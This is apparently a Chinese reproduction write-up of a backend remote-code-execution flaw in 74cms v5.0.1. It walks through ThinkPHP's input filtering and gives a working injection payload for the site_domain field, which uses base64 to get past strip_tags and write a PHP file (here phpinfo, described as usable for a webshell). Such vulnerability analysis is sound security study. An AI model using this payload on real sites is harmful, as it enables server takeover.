74cms v5.0.1后台RCE复现
环境搭建
在Windows下使用phpstudy搭建
apache版本:2.4.39
php版本:5.4.45
mysql版本:5.7.26
cms下载:http://www.74cms.com/download/index.html
漏洞成因
74cms v5.0.1在url.php中以数组键值对形式储存网站域名信息,可在网站域名信息修改处写入php代码,修改生效后,访问url.php,执行写入的php代码。利用此漏洞可写入webshell,导致远程代码执行。
漏洞复现
首先登录后台,后台地址为/index.php?m=admin&c=index&a=login
导航栏选择系统,进入网站配置选项
使用burpsuite抓包,点击保存配置
修改site_domain的值为(使用时先进行url编码)', file_put_contents('403.php',base64_decode('PD9waHAgcGhwaW5mbygpOz8+')),'
其中PD9waHAgcGhwaW5mbygpOz8+
base64解码为<?php phpinfo();?>
访问/Application/Common/Conf/url.php
触发写入的php代码,在网站根目录\Application\Common\Conf下生成403.php
访问/Application/Common/Conf/403.php
源码分析
74cms使用ThinkPHP框架,url访问方式如下
参考链接:ThinkPHP—URL的访问以及各种方法的操作
ThinkPHP采用单一入口模式访问应用,对应用的所有请求都定向到应用的入口文件,系统会从URL参数中解析当前请求的模块、控制器和操作,下面是一个标准的URL访问格式:
第一种访问方式
http://localhost:/thinkphp/index.php/Home/Index/index
入口文件/模块/控制器/操作
第二种访问方式(传参数)
http://localhost:/thinkphp/index.php?m=Home&c=Index&a=index
传三个参数
在修改域名时,访问的url为/index.php?m=admin&c=config&a=edit
可定位到文件/Application/Admin/Controller/ConfigController.class.php
参考链接:Thinkphp中的 I 函数
I函数语法格式:I('变量类型.变量名/修饰符',['默认值'],['过滤方法或正则'],['额外数据源'])
I('id',0);
获取id参数 自动判断get或者post
I('post.name','','htmlspecialchars');
获取$_POST['name']
I('get.');
获取$_GET
ConfigController.class.php关键代码
//ConfigController.class.php关键代码
public function edit(){
if(IS_POST){
$site_domain = I('request.site_domain','','trim'); //首先使用I函数进行过滤,I函数定义见后文
$site_domain = trim($site_domain,'/'); //删除字符串两边的/
$site_dir = I('request.site_dir',C('qscms_site_dir'),'trim');
$site_dir = $site_dir==''?'/':$site_dir;
$site_dir = $site_dir=='/'?$site_dir:('/'.trim($site_dir,'/').'/');
$_POST['site_dir'] = $site_dir;
if($site_domain && $site_domain != C('qscms_site_domain')){
if($site_domain == C('qscms_wap_domain')){
$this->returnMsg(0,'主域名不能与触屏版域名重复!');
}
$str = str_replace('http://','',$site_domain);
$str = str_replace('https://','',$str);
if(preg_match('/com.cn|net.cn|gov.cn|org.cn$/',$str) === 1){
$domain = array_slice(explode('.', $str), -3, 3);
}else{
$domain = array_slice(explode('.', $str), -2, 2);
}
$domain = '.'.implode('.',$domain);
$config['SESSION_OPTIONS'] = array('domain'=>$domain);
$config['COOKIE_DOMAIN'] = $domain;
$this->update_config($config,CONF_PATH.'url.php'); //更新config文件url.php
}
·····略
I函数
//I函数源码
//$site_domain = I('request.site_domain','','trim');
/**
* 获取输入参数 支持过滤和默认值
* 使用方法:
* <code>
* I('id',0); 获取id参数 自动判断get或者post
* I('post.name','','htmlspecialchars'); 获取$_POST['name']
* I('get.'); 获取$_GET
* </code>
* @param string $name 变量的名称 支持指定类型
* @param mixed $default 不存在的时候默认值
* @param mixed $filter 参数过滤方法
* @param mixed $datas 要获取的额外数据源
* @return mixed
*/
function I($name,$default='',$filter=null,$datas=null) {
static $_PUT = null;
if(strpos($name,'/')){ // 指定修饰符
list($name,$type) = explode('/',$name,2);
}elseif(C('VAR_AUTO_STRING')){ // 默认强制转换为字符串
$type = 's'; //$name=request.site_domain,进入elseif,$type='s'
}
if(strpos($name,'.')) { // 指定参数来源
list($method,$name) = explode('.',$name,2); //$method='request',$name=site_domain
}else{ // 默认为自动判断
$method = 'param';
}
switch(strtolower($method)) { //$method='request'
//······省略
case 'request' :
$input =& $_REQUEST;
break;
//······省略
}
if(''==$name) { // 获取全部变量,$name=site_domain,进入elseif
//······省略
}elseif(isset($input[$name])) { // 取值操作
$data = $input[$name]; //$data=数据包中的site_domain
$filters = isset($filter) ? $filter.','.C('DEFAULT_FILTER') : C('DEFAULT_FILTER');
//实际执行后$filters = 'trim,htmlspecialchars,stripslashes,strip_tags'
if($filters) {
if(is_string($filters)){
if(0 === strpos($filters,'/')){
if(1 !== preg_match($filters,(string)$data)){
// 支持正则验证
return isset($default) ? $default : null;
}
}else{ //进入else
$filters = explode(',',$filters);
}
}elseif(is_int($filters)){
$filters = array($filters);
}
if(is_array($filters)){
foreach($filters as $filter){
if(function_exists($filter)) { //调用filter中的函数对$data进行过滤,array_map_recursive函数见后文
$data = is_array($data) ? array_map_recursive($filter,$data) : $filter($data); // 参数过滤
}else{
$data = filter_var($data,is_int($filter) ? $filter : filter_id($filter));
if(false === $data) {
return isset($default) ? $default : null;
}
}
}
}
}
if(!empty($type)){
switch(strtolower($type)){
//···省略,$type='s'
case 's': // 字符串
default:
$data = (string)$data;
}
}
}else{ // 变量默认值
$data = isset($default)?$default:null;
}
is_array($data) && array_walk_recursive($data,'think_filter'); //调用自定义函数think_filter,定义见后文
return $data;
}
array_map_recursive函数
调用自定义函数对data进行过滤
//array_map_recursive函数
function array_map_recursive($filter, $data) {
$result = array();
foreach ($data as $key => $val) {
$result[$key] = is_array($val)
? array_map_recursive($filter, $val)
: call_user_func($filter, $val);
}
return $result;
}
think_filter函数
过滤特殊字符
//think_filter函数
function think_filter(&$value){
// TODO 其他安全过滤
// 过滤查询特殊字符
if(preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i',$value)){
$value .= ' ';
}
}
分析总结
从整体分析来看,对site_domain的输入,只会使用trim,htmlspecialchars,stripslashes,strip_tags,think_filter这几个函数做过滤,对于执行php代码,写入shell,有影响的只有strip_tags,可以通过编码绕过
正常的url.php文件内容如下,从之前的代码可以看出更新域名将更新domain和COOKIE_DOMAIN对应的值,原本的域名为74cms.com,写入到文件中会在最前面加一个.。
<?php
return array (
'URL_MODEL' => 0,
'URL_HTML_SUFFIX' => '.html',
'URL_PATHINFO_DEPR' => '/',
'URL_ROUTER_ON' => true,
'URL_ROUTE_RULES' =>
array (
'/^jobfair\/(?!admin)(\w+)$/' => 'jobfair/index/:1',
'/^mall\/(?!admin)(\w+)$/' => 'mall/index/:1',
),
'QSCMS_VERSION' => '5.0.1',
'QSCMS_RELEASE' => '2019-03-19 00:00:00',
'SESSION_OPTIONS' =>
array (
'domain' => '.74cms.com',
0 => 18,
1 => '',
'path' => 'D:\phpstudy_pro\WWW\upload\data\session',
),
'COOKIE_DOMAIN' => '.74cms.com',
0 => 18,
1 => '',
);
于是,现在可以构造payload闭合前后两个单引号,并用逗号隔开', 需要执行的内容,'
下图为,漏洞复现的url.php的文件内容